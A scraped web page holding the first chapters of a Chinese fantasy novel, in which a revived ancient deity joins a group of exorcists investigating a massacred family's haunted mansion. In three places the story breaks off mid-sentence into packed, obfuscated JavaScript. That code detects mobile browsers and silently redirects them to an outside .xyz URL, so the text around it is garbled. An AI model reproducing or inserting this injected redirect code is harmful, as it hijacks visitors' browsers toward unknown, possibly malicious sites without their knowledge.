《千年“大祟”,有点凶,不好惹》 1. 第 1 章 在庙宇之内,一位身着道袍的老者手持蜡烛与折扇,口中念诵着经文,围绕着数尊被红布蒙眼的宏伟神像缓步行祈。 他走到最后一尊神像时,停下了脚步,翻看着红布上的文字,疑惑地问道:“因纾禾?这是哪位神祇?为何贫道此前从未见过?” 苍极小镇每年正月期间都会举办盛大的游神活动,如今正在进行各神像的开光仪式。 那么,他们究竟在游行哪位神祇呢? 这些神祇,皆是一千年前参与苍极台除魔大战的逐山堂众位大将,而在这些魁梧的神祇队伍中,出现了一尊陌生神像,这尊神像在苍极镇从未见过的,祂长发垂地,一身绿袍,双眼蒙着红丝带,看不清神色。 主事看情况不对,走了过来,瞧了一眼老道身边的神像,拔高嗓音对着人群吼道:“这是谁拿进来的?!” 闻言,吃瓜群众也聚拢了过来,却没有一人承认的。 老道踩着一块木牌子,经旁人提醒,老道才挪步。 主事顺势弯腰拾起,仔细一看,上面刻着“神籍录”三个字。还记载着:“因书禾,字未名,出生于宁537年夏,十岁时拜入逐山堂,成为池邕圣人的关门弟子。年仅十五,便随师参与苍极台除魔大战,英勇奋战,却不幸在苍极台战死。” “瞎扯淡!池邕圣人就八个弟子,根本没有一个姓因的!” “可这上面就是这么写的。” “难道凭借一块破旧的木板,随意涂写几个字就能封神?若果真如此,那么这世上岂不是神仙泛滥?……依我之见,这必然是有人企图破坏游神仪式!” “不知是何人如此不敬,将这等骇人之物带入此地!……快将孩子抱走,以免惊吓到他们!” “如果真是这样,它更不应该出现在游神队伍中,以免是什么某种阴野鬼神,引来不祥之物!” 此言一出,群众听后感到一阵恐惧,纷纷又后退一步,唯恐沾染上任何不洁之物。 为了避免不必要的惊慌,老道决定先行将神像移至后殿,随后继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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另一个仆从撇了撇嘴,似乎早就知道答案,“还用猜吗?这几年来能如此厉害的,除了那个屠杀无数生灵的邪神因纾禾,谁还能有这样的能力?除了他,没人能做到。” “可是……”那名仆从迟疑了一下,正欲继续发言。 突然间,坟墓的土堆剧烈颤动,那几位仆从还未来得及逃离, 紧接着“轰隆”一声巨响,随后是一连串的惨叫声! 一座坟墓。 竟然炸开了! …… 因纾禾浑浑噩噩中,听到有人在谈论自己的是非,还说自己是屠杀生灵的大恶魔,神魂不由自主地抖了抖,然后又忍不住打了一个喷嚏,随之而来的光亮让她感应到眼前的变化,眼皮微微一动,而后睁开了眼。 “你们几个人在干什么呢,让你们埋一个尸体,怎么闹出这么大动静!” 一个中年男人的声音从上方传来,渐渐逼近坟坑。 “刚才那坟墓的土突然动了起来,接着就爆炸了,啊啊啊啊,疼死我了……我们什么都没做啊……” 其中一个仆从一边喊疼一边不忘辩解道。 “炸了?” 中年男子的声音有些许疑惑,他挥着手走近,试图驱散飞扬的尘土。正当他准备探头细看时,突然瞥见一双圆润的大眼睛,顿时让他惊吓至极,一个踉跄跌坐在地。他颤抖的手指指向坟坑,结结巴巴了半天,却一个字也吐不出来。 因纾禾刚刚坐起,便听到体内传来“咔哒”一声,紧接着剧烈的疼痛从腰部袭来,疼得她不禁嘶嘶作声! 这具身体显然对因纾禾的突然醒来和迅速行动感到不适应,竟然骨折了! 她稍作停顿,四肢并用,试图爬出坟坑。由于腰部疼痛难忍,她无法正常用力,身体不由自主地抽搐,面部的五官也随之扭曲,整个爬行的姿态显得颇为怪异…… 老头看着犹如异兽一般朝自己爬来的因纾禾,眼睛瞪得大大的,抖着嗓子喊道:“救命啊……” 原本躺在地上嗷嗷叫的几个仆从闻言纷纷朝着这边看了过来,也像是看到了什么可怕至极,惊悚至极的东西。 一个稍显稚嫩的仆从不知从何处汲取了勇气,抓起刚才用来填坟的铲子,朝因纾禾扑去,一边跑一边大喊:“妖孽,休想伤害我家老爷!” 这是个什么情况?我,因纾禾,就长得这么可怕吗?啊,不对,她目前似乎并非以自己的身份出现,更确切地说,她是借用了他人的躯体而重生,莫非她所借用的躯体主人相貌极为丑陋? 随后,因纾禾在百忙之中拾起一块石头,向那男子投掷而去,一击便使男子倒地不起,至于他是否真的失去意识,抑或只是假装,总之,他倒下了。 那中年男子似乎也受到了某种启示,突然一头撞地,晕了过去。因纾禾在一抬头,原本那些还在观察到仆从也突然身体一软,眼睛一闭,不再动弹。 因纾禾四周看了一圈,瞧见坟头立着一块木牌。 木牌上草草写着几个字。 “甄青瑶。镇妖驱邪,愿得安息。” 甄青瑶……甄青瑶…… 千年前,因纾禾化身为红莲离火,与魔神婺绛奋力一战后,神魂消散,意识陷入混沌。 直至最近,她的意识才开始逐渐复苏。在那片混沌之中,偶尔有声音穿透而来,从零碎的片段中,甄青瑶这三个字还算有点印象。 因纾禾凝神细想,试图从脑海中闪现的片段中捕捉一些关键信息。经过一番努力,她大致掌握了甄青瑶的一些基本信息。 “神明在上,我,甄青瑶,被恶人诬陷追杀,不得已借用这片神圣之地以求庇护,恳请谅解。” 这是甄青瑶首次踏入寒灵洞时所言。 至于寒灵洞的具体位置,因纾禾自己也不甚明了。但可以推断,那里是她的安神之所,只是她尚不清楚是谁为她安排了这个地方,还给她塑了像。 至于甄青瑶,似乎是误打误撞闯入了这片地方。她瞧见了这尊神像,又身处一座幽深的山洞,难免将因纾禾当成了神明。 而且她一呆竟是一年。期间没少和因纾禾的神像絮絮叨叨,向她诉说自己的遭遇,而这些零碎的言语,也正是因纾禾意识中的记忆碎片的来源。 甄青瑶出生在一个破落的家庭,甄家是苏家的远房亲戚,这苏家好像还是一个修仙宗门,镇守着万普山。 而这万普山呢,好像还是现在仙门化煞之地,所以这项差事并不轻松,因此苏家会招收一些外姓弟子。 甄家虽然已经衰落,但当年甄母还是凭借远亲的关系,把自己的两个孩子送到苏家做弟子。甄青瑶的哥哥不争气,刚进苏府就因爱做小偷小摸被赶了出去,而甄青瑶则生得貌美且懂得礼数,于是被留下来。 在苏府,她与苏家大公子苏卓逐渐萌生了情感,但这位苏大公子已有婚约在身,是由其生母杜夫人所定。鉴于杜夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858776|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人对甄青瑶的善待,甄青瑶决定尊重杜夫人的意愿,与苏大公子保持适当的距离。 后来杜夫人不幸病逝。随后,苏家家主迎娶了一位美貌的女子,即胡夫人。胡夫人进门后,视甄青瑶为眼中钉,处处刁难。 三年前,胡夫人召集了几名男子,企图破坏甄青瑶的容貌和清誉。甄青瑶奋力反抗,击伤了其中一名企图对她不轨的男子,并成功逃脱。在逃亡的途中,她偶然发现了寒灵洞,成功躲过了追捕。 但她被列入了通缉名单,苏家控告她谋害了苏家的长子苏卓。 为了逃避追捕,她不得不重新躲进寒灵洞,依靠野果和山鼠地虫维生,度过了整整一年的时光。在这段时间里,她每天都会向因纾禾的石像祭拜,感激她在寒灵洞的庇护。 甄青瑶认为因纾禾的神像是她的福星,在离开寒灵洞的时候,把因纾禾的神像也给带了出来。 两年时间里,甄青瑶靠着驱邪谋生,成了一名驱邪术士。所遇皆为小鬼,倒也顺遂。 直到这一天,她遇到了一个大祟。 金义镇,沈家。 沈家惨遭灭门,死状令人毛骨悚然。镇老爷因此悬赏重金,以求解决这一惨案。 甄青瑶察觉到这股邪恶之气异常强大,但她此刻迫切需要金钱。因家中母亲患病,兄嫂不断催促她给钱治病。恰逢镇老爷悬赏给出高额奖金,甄青瑶决定接下这任务,去沈家驱邪。 这次,为了防止邪气外泄,她布下了一个强大的阵法,将因纾禾的神像作为阵眼,然后自己独自进入了沈宅。进去后…… 进去后所发生的事情,因纾禾自己也感知不到了,因为她的神像摆放在外,并没有跟着甄青瑶进入沈宅。不过根据目前的情况,基本能判断,甄青瑶就是被这沈家的邪祟杀死了。 因纾禾觉得,甄青瑶让自己吃上了三年的香火,于情于理,也应该为她做点什么。 “钱老爷?” 因纾禾试探道。 原本卷缩在地装死的中年男子身形一怔,抬起头,目光惊疑的望向她:“你……你是人是鬼?” 因纾禾费力地撑起腰杆,艰难地站了起来,说道:“这天下有种叫‘玄空闭息法’的术法,能够闭气三日不损,若修炼到深处,甚至能闭气至七日。”因纾禾思绪飞转,想到了这个说辞。 中年男子还没反应过来,而那些个仆从已经纷纷爬了起来,其中一个惊讶道:“难道你是诈死?” 因纾禾重新将坟填平,将木牌插回坟前。甄青瑶的坟墓还是得保留。 “你在做什么?” “有点公德心,万一有老人或小孩路过摔倒了怎么办?” “这荒山野岭的哪有老人小孩?……你还立牌,牌上写的是你的名字,你不怕这不吉利吗?” …… 3. 第 3 章 中年男子叫钱坤,是金义镇的镇老爷,三天前,金义镇镇北的沈家一夜之间被灭门。 为此,钱坤悬赏重金召集驱邪术士,却接连死了六个。而且都是进入沈府后,再也没出来过。甄青瑶是第七个,是唯一一个能保住全尸的。所以钱坤就想着要好好安葬甄青瑶,以示尊重。 既然甄青瑶没死,就对她说道:“既然你没事,那就该干什么干什么去吧。”毕竟她刚刚死过一回,现在能活过来,算命大,看起来没啥本事,死了还得自己埋,钱坤不想再多费心思,想着打发掉算了。 因纾禾笑嘻嘻地伸手向钱坤讨要赏金:“我的钱呢?” 钱坤嗔道:“没钱。” 什么都没做就想要赏金,哪有这么容易的事,他的钱也不是大风刮来的。这也不能怪他心狠,主要前面死的人他都没给,因为他在悬赏文上就说得清清楚楚,只有除了邪祟才有赏钱,否则是个人都觉得自己行就上,结果都是去一个死一个,那他赔个倾家荡产也不够! 因纾禾自然不肯:“那不行,我可不能白跑一趟。”无论如何,她得帮甄青瑶赚到这笔赏金,交给她母亲,算是完成甄青瑶的遗愿。 钱坤不理她,带着仆从下了山。因纾禾因腰伤走得稍慢,很快就被他们甩在了后面。她有些口干舌燥,下意识地摸了摸自己的腰部。突然,她的心跳一滞——不对,自己的宝葫芦呢? 提及这个宝葫芦,它可是她的珍爱之物,自幼便随身携带,至于它是否曾随自己一同进入寒灵洞,她也无从得知…… 因纾禾沉思片刻,脑海中灵光一现,她立刻转身回到方才掩埋的坟坑,仔细搜寻,果不其然,她找到了它。 甄青瑶将这宝葫芦视作水囊,始终挂在身上,只是方才的一次爆炸,竟将挂绳炸断了! 因纾禾毫不犹豫,对着宝葫芦念出咒语,贴着脸轻轻摇晃几下,耳边随即传来咕噜噜的声音,她喜形于色,拔开葫芦塞,将一股极净之气缓缓飘出!因纾禾吸了吸鼻,沁凉透彻,神魂都颤了一颤! 果然,立竿见影,腰不疼了!整个人精神焕发,浑身上下似有使不完的力气。 因纾禾急忙将宝葫芦塞入怀中,三步并作两步,片刻间,便赶上了钱坤一行人。 因纾禾一个闪身挡在钱坤身前,抱手道:“不给钱,都别想走。” 钱坤身后一个仆从上前,想要推因纾禾一把,却被她轻巧侧身避开。那仆从尴尬了一下,随即喝道:“你走开!别缠着我家老爷!刚才对你客气,是看在你刚刚死里逃生的份上,你别不知好歹!” 因纾禾道:“我可没让你们白给钱,既然接了悬赏,自然要完成任务。只要你们能兑现之前答应的数目。" 又一名仆从上前,嘲讽道:“若你真能收拾那邪祟,上次怎还会用什么闭息法诈死?没本事就是没本事,承认了吧!别嘴硬了!你去了也是送死,白费力气。......我劝你,别为了钱不要命!” 因纾禾却道:“要我不去也可以,给钱。我也可以不去的。” “……你!” 那仆从气得直咬牙,这人怎的这么油盐不进,真是说不通啊! “算了、算了。”钱坤摆手示意仆从们退下,自己走上前来,“既然你这么说,那就跟我来吧。” 钱坤心中无奈,见她纠缠不休,不如顺着她去折腾,反正死活与自己无关! 因纾禾跟着钱坤进入金义镇,穿过一条街,最终来到了钱坤的宅邸。穿过两扇大门,他们进入正堂。钱坤正坐于主位,示意因纾禾入座后,低声对一旁的仆从嘀咕了几句。仆从们点头,随即退了出去。 须臾,仆从领了三男一女进屋,他们依次落座于两旁的太师椅上,仆从随即又站回到钱坤身侧的位置。 见众人已到齐,钱坤开口道:“各位,皆是接下悬赏的高人,想必都清楚,之前已有六位驱邪术士接下此悬赏,起初他们也是信誓旦旦,但最终皆有去无回。如今我自然急于除去邪祟,但也希望各位能展现真正的本领。若是此时反悔,尚可自愿退出。” 一位面容柔和、身形颇为挺拔的男子疑惑地问道:“……六位?不是七位吗?” 钱坤轻咳一声,顺着视线扫了一眼因纾禾。 此时,因纾禾若无其事地盯着他主桌上的果盘,眼神满是向往,那些糕点看起来松软甜蜜,仿佛是诱人的美味。她忍不住摸了摸自己的肚子,正好瞧见钱坤正盯着她。 因纾禾微微一笑,问道:“不好意思,我能吃一个吗?” 钱坤愣了一下,半晌才反应过来,随即示意仆从将果盘端到她面前。 因纾禾两眼放光,但她仍耐心等果盘放到旁边的茶几上,才伸手拿了两块,塞入嘴里。果然,松软甜糯,滋味美妙无比。 钱坤继续刚才的话题说道:“呃……这第七位嘛,也就是你身边这位姑娘,她并没有死。” 那男子闻言,显然颇感意外,转头望向因纾禾。她皮肤白皙,圆脸大眼,整体清新娇俏,但若把驱邪除魔与她联系在一起,却让人觉得格外不对劲,竟是唯一活着从沈家脱身的人。 因纾禾注意到他投来的视线,竟然毫不避讳地直视了过去。四目相对的瞬间,那男子竟不由自主地败下阵来,稍微移开目光,显得有些尴尬。 一个清脆的声音随即质疑道:“她?这不可能吧,看她那瘦小干巴的模样,感觉一个小鬼都打不死,钱老爷,现如今骗钱的可多了,您可千万别上当。“ 说话的正是除因纾禾外,另一位女子。她坐在那名男子的另一侧,言辞尖锐,目光中带着不屑。 因纾禾吃完嘴里的糕点,抬起头来,笑着看向钱坤道:“钱老爷,你家糕点真好吃。” 钱坤没想到因纾禾会突然这样夸他,心中一阵疑惑,难道她没有听到旁人对她的质疑?他尴尬地笑了笑:“既然喜欢,就多吃一些。” 因纾禾的笑容始终挂在脸上,轻松愉悦:“那我就不客气了。”说罢,又往嘴里塞了一块,继续享受美食。 她完全没有在意周围的目光,那女子见状,气得脸色铁青,正准备发作,却被身旁的男子一个眼神制止住了。 因纾禾的对面坐着两个男子,一个身形魁梧,面容粗犷;另一个则是贼眉鼠眼,看起来狡猾异常。面容粗狂的男子嘴角时刻带着一抹不易察觉的讥笑,他故作姿态,压低嗓音问道:“既然你进去过,不如说说,里面究竟是什么情况?” 沉默了半晌,众人没有任何回应。因纾禾这才抬起头,四下瞧了瞧,才意识到所有人的目光都集中在她身上,愣了一下,才反应过来:“在和我说话吗?……你刚才说什么?” 从一开始,这些人就不断在说些无关紧要的废话,她完全没有心思去听,专心致志地享受着她 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对面那贼眉鼠眼的男子笑道:“小姑娘,既然什么都不知道,那你这次来这里是做什么的?难道……是来想我们学习讨教的?我们可不是随便收徒的哦。” 因纾禾道:“和你们一样,驱邪。” 粗狂男听了,忍不住哈哈大笑:“就你?你要是真有本事,为什么上次进去不直接解决邪祟,反而让我们来帮忙?” 因纾禾不以为然道:“又不是我叫你们来的?其实,你们现在也可以离开。” 粗狂男大怒:“狂妄!” 眼见气氛再度剑拔弩张,钱坤连忙抬手,急忙安抚道:“莫要生气,莫要生气,大家冷静些。” 他转向旁边的仆人,语气温和:“来福,去给大家上点茶,解解火。” 仆人忙不迭地应声,迅速端上茶水。茶香弥漫开来,众人喝茶的时候,气氛稍微缓和了一些。 钱坤见状,继续说道:“不记得就不记得了吧,既然大家都在这里,不如我先给大家说说这沈家的来头。” “这沈家,曾是修仙界的世家之一,虽然在往昔的岁月中,家族声名显赫,实力雄厚,但因为种种缘由,家族渐渐衰退。后来的沈家子嗣单薄,世代衰落,振兴之路遥遥无期。沈言峰,作为家族的一名后嗣,修为不及先辈,也算不上显赫,却凭借着深厚的学识与卓越的智慧,担任仙门弟子的文学导师,广受弟子尊敬。他的课堂内容涉及经典解读、历史传承与心性修炼,凭着独特的见识,他在弟子中积累了不小的声望。” “沈言峰有一个女儿,原本已已经定了亲,后来因为男方家出了变故,这亲也就没成。而后,这沈家女就生了一场病,一直没养好,身体状况不佳。沈家担心她嫁到外人家中会受尽欺凌,于是将她留在家中,几乎足不出户。” “就在五天前,有一名农户按时送粮到沈家,却一直未返回。其家人起初并未觉得异常,直到两日后,才惊觉不对劲。于是,农户家的儿子前去寻访,结果却发现沈家大门紧闭,一片死寂,于是爬上墙头,窥探沈家,眼前的景象令他胆寒——沈家的所有人,包括沈言峰与他的女儿,都惨遭杀害,整个家族灭门,尸体横陈,场面血腥而恐怖,让人不寒而栗。” “此后,沈家便一直笼罩着一团黑雾,我们也不知道里面现在到底成了什么样子。” 4. 第 4 章 “我给的赏金是五百两黄金,谁把邪祟除掉,赏金就归谁。你们也别分批进去了,就一起进去。” 就在这时,外面走来另一个颇为圆润的女孩。她的长相一看便知是钱坤的女儿,那双细长的小眼简直和钱坤一模一样。 在她身后,一名年轻男子紧随其后,眉清目秀,身着沙青色的直裾长袍,头顶束发,身背一把长剑,模样宛如一名初出茅庐的小道士。 “抱歉,我来晚了。”小道士挠了挠头。 “这年头,连道士都来接悬赏了?”一旁的贼眉鼠眼男调侃道。 “大家好,我叫叶澜,我就是来学习磨练的,还请大家多多关照。” “哎哟,小丫头,你有伴了。都是来学习的,哈哈哈……我叫黄老虎,我大哥叫钟天元,若你肯听话,教你一两招也不成问题。” 叶澜闻言眼睛放光,凑到因纾禾身边,一副天真烂漫的模样:“你也是出来试炼的吗?那太好了!我还是第一次遇到同伴呢!” 因纾禾对这小伙子并无太多反感,见他这般天真,直接递出一块糕点给叶澜:“尝尝。” 这举动没让叶澜震惊,居然让其他人震惊了一下,刚才因纾禾总是一副爱答不理很欠揍的摸样,如今刚来了一个人,却能将手里的吃的让出来。 因纾禾这个人嘛,只要她看顺眼的,对方即便是块石头她也可以聊上两句。看不顺眼的,那她就会直接无视,当不存在。 新进来的女子将小道士领进来后,迫不及待地四下看一看,因为她听说今天来了一个特别温柔的男子,她就特别喜欢如温玉般的男人,果然,她的目光最终落到了贺云修柔和的脸上,随即露出一个温柔的笑容,显得既亲切又热情。 檀玲警惕地盯着她,眉头微皱:“你是谁?” 钱坤见状,赶紧笑着解释:“忘了给大家介绍了,这位是我家小女圆圆。” “真是名如其人。”檀玲心中暗想。 “对了,阿爹,我刚一进门就听说您让他们一起进入沈家,那到时候如何能分辨出谁是真正驱除邪祟之人?”钱圆圆疑惑问道。 “原来是钱小姐。”檀玲淡淡一笑,语气中带着几分傲气道,“真正制服邪祟的人,通常能够引发邪祟本身的明显变化——比如,身体、气息或灵力的改变。邪祟在被驱除时,往往会化作某种特殊的痕迹、烟雾、光芒、灰烬,或者是腐败污秽的物质。” “即便有人没能力,想要抢夺功劳,后面插入的法器和举动,并不会改变邪祟的痕迹。到时候钱老爷,可以检查这些‘死亡痕迹’,就能知道到底是谁除的邪祟。” 檀玲暗道:庸人就是庸人,什么都不懂! 钱圆圆上下打量了一眼檀玲:“你,也是驱邪术士?” 檀玲回瞪了回去:“怎么,我可是和云修哥哥一起来的。”一副‘气死你’的模样。 钱圆圆轻蔑地哼了一声:“祝你好运,千万别和其他人一样,一去不复返。”随后不再给檀玲任何眼神,转而笑眯眯地对贺云修道,“原来你叫云修啊,名字真好听!期待你凯旋而归哦。” 贺云修温和地说道:“多谢。” 钱圆圆回敬一个‘气死你’的表情,果然,这让檀玲气得不轻。她心中暗骂:“你不应该叫圆圆,应该叫球球!最好有多远滚多远。别靠近我的云修哥哥!” 作为吃瓜群众的因纾禾摇头感慨:这些女人,爱上什么人不好,偏偏爱上那种对谁都温文尔雅、对谁都送温暖之人,真是自寻烦恼。 …… 金义镇镇北,横亘着一条名为金龙江的河流。沈家府邸就坐落在金龙江中的一座孤岛上。尽管被称为小岛,实际上它更像是原本与陆地相连的一块土地,经过人工开凿形成了一条水道,两岸被江水不断冲刷,最终分离出去,形成了这块孤立的陆地。 一座大宅府邸就建在这块陆地的正中央,如今已是被黑云笼罩,他们隐约能瞧见府邸的一点轮廓。站在对岸,便已能闻到一股血腥腐臭的浓烈气息。 他们分乘两艘乌篷船前行。贺云修带着他那小师妹和那一对狂野男乘坐一艘船,叶澜、因纾禾以及钱坤则乘坐做另一艘。 船只刚靠近岛屿,便见沈府大门前摆放着一尊神像,因纾禾对这种气息甚是熟悉,基本可以推测,这尊神像就是原本放置在寒灵洞中的神像。 而有修为之人,便能清楚地感受到沈府周围的阵法,而阵眼,正是这座神像。 贺云修皱眉问道:“这是谁布置的阵法?” 钱坤原本以为因纾禾会主动承认,却见她未作反应,便答道:“这是甄姑娘昨日所布下的阵法。” 甄青瑶布下的阵法,仍在封锁着沈府的怨气。贺云修对甄青瑶的看法有所改变,觉得她不容小觑——这个阵法极其消耗灵力,若控制不当,极有可能遭到反噬,但她好似根本没受到任何影响。 因纾禾走到神像前,忽然发现神像上赫然出现了几滴血痕,因纾禾随即伸手抚摸上去,凝神感知,一股强烈的感应传入她的心头。 甄青瑶是为了避免阵法出现反作用,用尽全部灵力冲出沈宅。如果她在里面被邪祟控制住,那么阵法极有可能转变为怨气扩散的源头,而非封锁怨气的屏障。 而在甄青瑶逃离的过程中,她的鲜血不小心滴落在因纾禾的神像上,兴许正是这几滴血触发了某些变化——因纾禾的灵魂被唤醒,重生在甄青瑶的身体里。当然,这都是她自己的猜测。 钱坤为他们安排好一切后,留下了一艘乌篷船,连同俩船夫一共三人则乘坐另一艘船启程返回。纾禾转头回望,只见那艘乌篷船已变成远方的一个小黑点,两位船夫似乎正全速划桨,速度之快,几乎是来时的两倍有余! 这沈家的大门原本是关着的,等他们刚走到前头,这沈家大门就自己开了。 黄老虎道:“哎哟,这邪祟还挺嚣张,居然敢直接开门让我们进去,看老子一会不打得他满地找牙!不对,这邪祟还不一定有牙呢,哈哈。” 钟天元瞪了他一眼:“安静点。” 被他这么一瞪,黄老虎果然老实了不少。 贺云修道:“大家小心行事。” 踏进沈家后,四周雾气弥漫,什么也看不见。贺云修走在前头,轻轻一挥手,指尖生出一团银白色火苗,随风飘向空中。 贺云修又道:“这灵火对怨气有感应,随着怨气浓度的变化,颜色会不断变换。怨气越重,灵火的颜色就越深。只要跟着它,我们就能找到这座宅子怨气的根源,进而除掉邪祟。” 穿过一扇巨大的照壁,灵火引领他们进入一条抄手长廊,队伍自然而然地分成了三个梯队。檀玲紧随谨慎的贺云修,黄老虎则跟随钟天元,分别看顾在两侧,脸上都带着一副凶神恶煞的表情。叶澜则与因纾禾并肩走在队伍的最后。 因纾禾这儿瞅瞅,那儿瞧瞧,脸上却写着“无所畏惧”四个大字,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858778|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每到一个地方都会好奇,无论这个地方是什么地方,只要能引起她的兴趣,就是上刀山下火海她都得去。 而叶澜则不同了,他也是这儿瞅瞅,那儿瞧瞧,就是一副“我好怕、怎么办、邪祟在哪?一会出来我要怎么打?”的表情! 突然,叶澜似乎踩到了某物,他无声地拉了拉主因纾禾的衣袖,脸色苍白,声音颤抖地说:“我我我、好像踩到了什么东西……感觉软绵绵的……你快帮我看看……” 因纾禾闻言,用脚朝着他的脚下一踢,果然是踢到一个软的东西,这时贺云修他们已经走过一个拐角,视线内看不到了,叶澜慌忙从怀里掏出一个火折子,借着一点火光,因纾禾低头一看,拍了拍叶澜的肩膀,示意他自己看看。 叶澜瞧着因纾禾如此淡定的神情,以为是自己多想了,于是放下心来,低头一看,他的脸更白了,真的是一直血肉模糊的断手!而他正踩在它的手指上! 他直接跳上了廊椅上抱起了柱子,然后又发现脸上黏糊糊的,用手一抹,闻了闻,腥臭味直冲脑门,原本这空气里都是腥臭味,以为自己免疫了,没想到放在鼻尖的那股冲击力还是非同寻常! 因纾禾瞧见叶澜这幅模样不禁捧腹无声大笑起来! 叶澜则是一脸囧样:“你是故意的!” 因纾禾缓了缓情绪,好奇闻道:“你到底是怎么当上道士的?” 被她这么一笑,他的恐惧感竟意外地消散了不少。半晌,他从高处跳下,正欲开口,却被因纾禾一把抓住衣领,猛地向前一拉。他还没来得及反应,便听到了牙齿碰撞发出的“咔咔”声。 原来,一只邪尸从叶澜身后的暗处突然扑出,差点咬住叶澜的脖子!幸运的是,这只邪尸的手已经断了,它仍本能地抬手想要抓住叶澜,却因无手可抓而一无所获,这才让因纾禾有机会及时将叶澜拉开。 因纾禾拽住叶澜的同时,顺势一个抬腿,把邪尸踹回暗处,然后拉着叶澜就往前跑。 他们之所以选择向前跑,并非因纾禾打不过那些邪尸——事实上,这些邪尸对她来说根本不值一提。真正的原因在于,一只邪尸的发现,让隐藏在暗处的其他邪尸都开始朝他们聚集。敌人虽然不强,但数量多且分散,一旦被包围,麻烦就大了。 他们进来的目的很明确——找到怨气最浓的邪祟,把所有邪祟集中处理,彻底解决问题。 “发生了什么?”贺云修听到身后的响动,转过身来,恰好看见因纾禾拉着叶澜迅速跑近。 叶澜喘着粗气说:“后面、后面有邪尸。” 贺云修听到这话,立刻将他们护在身后,伸手指向后方,指尖的灵火幽幽地飘出,朝后方照了一圈。 檀玲冷笑着嘲讽:“明明什么都没有,我看你们就是胆小如鼠,吓得大惊小怪。如果真的那么害怕,还不如出去呢。” 叶澜急忙辩解:“是真的,刚才我差点被咬了,幸亏甄姑娘相助,拉了我一把,我才幸免于难。” 他转向因纾禾,真挚道:“甄姑娘,真的谢谢你。要不是你……” 粗狂男钟天元不耐烦地打断他:“既然没事,就快点走!” 因纾禾回头看了一眼,暗道:这不对劲! 邪尸本无智,通常一见到人就会本能地追咬,但此刻四周却寂静无声,唯一的解释是——这里面有大祟! 这些躲在暗处的邪尸,不是被大祟控制,就是惧怕大祟,才不敢现身! 5. 第 5 章 他们他们经过一个小月台时,因纾禾听到了一阵淅淅索索的嘈杂声,似乎是人声,又仿佛是纸张摩擦发出的沙沙声。 与此同时,灵火的颜色逐渐转变为橙色,怨气的浓度已经提升了四级,他们进入了小月台后面的中堂。那里有一块镶嵌着玉石的木质雕花屏风。原本走在后面的因纾禾向前几步,拉住了贺云修,并竖起手指对他做了一个保持安静的手势。 贺云修也听到了一些怪异之声,于是抬手示意大家都暂时停下。 她眉头微蹙,那声音显然是从屏风后方传来了。 “累死了!累死了!也不知道这是第几次了。” 一个沙哑的声音响起,紧接着又是一阵低沉的对话声。 “让我数数,一、二、三……” “行了行了,你这脑子,数什么数,有功夫在这数还不如多清理一些尸块,每次都是我在做,你就知道偷懒!当初我怎么就选择和你留在这了,还不如让他们一把火把我烧了,下面还比上面自在舒服一些!” “不过……这次人都死绝了,咱们办完这次,应该就可以自由了吧?” “那大神都说了,办完了,我们就能跟着他威风去了!大神肯定不会亏待我们的!” 大神,什么大神?因纾禾是否好奇是什么邪魔妖道在充当大神的。 “你说大神会记得我们吗?他会不会把我们给忘了啊?” “你以为人人都像你这种脑子不好的?大神答应的事情肯定会做到的!我都想好了,到时候我要作大神的左护将。” “那我愿成为大神的右护法!我还要改姓,随大神姓,既然大神名为因纾禾,我便自称为因如是!只要大神有所吩咐,我必将应答是!” 因纾禾一个趔趄,差点栽倒,什么鬼,怎么吃瓜吃到自己身上?! “看不出来,你真是个狗腿子,不行不行,不能输给你,我也要想想我叫什么……” “甄青瑶,你到底在做什么?耍我们玩吗?!” 檀玲没耐性了,看到因纾禾鬼鬼祟祟地躲在屏风后,半天没反应,她可不惯着她! 话音未落,对面的声音似乎也感应到了异动,对话嘎然而止! 因纾禾简短地将刚才的对话复述了一遍,当然,她特意省略了最后提到她自己的部分。 其实,刚才其他人也听到那些淅淅索索的声音,所以才会跟着因纾禾停了下来,但是他们根本听不出对话。 檀玲冷冷地说道:“我们都没听出什么,连云修哥哥也没听到任何对话,然后就你声称听出来了。你觉得我们会相信你吗?!” 因纾禾不以为意,淡淡一笑:“好吧。” 檀玲看着她一脸无所谓的模样,仿佛自己被轻视,怒火更盛,语气尖锐:“没本事就没本事,偏偏还装模作样,你以为你是谁?!” 因纾禾原本要朝前走,她却突然顿住,转身直勾勾地盯着檀玲,一字一句道:“这位大小姐,信不信是你的事,我管不着。但是,说不说,如何说,是我的事,你也管不着。我说的话,你完全可以不信,不听,不闻,不问。但是……你别找茬。” 檀玲涨红了脸:“你……” 因纾禾抬手指着她,语气冰冷而果断:“闭嘴。” 檀玲猛地哽住,愣在原地。 因纾禾的神情明明没有太大的波动,只是敛住了笑意,却带着一种威慑力,令人心生寒意。 察觉到周围人的异样的目光,因纾禾蓦然一笑,哈哈两声,收回手指。 她神色恢复日常,继续看向檀玲,话锋一转,饶有兴味地来了一句:“檀姑娘,你喜欢贺云修,对吗? 檀玲没想到因纾禾会突然来这么一句,结结巴巴道:“你、你瞎说什么大话。” 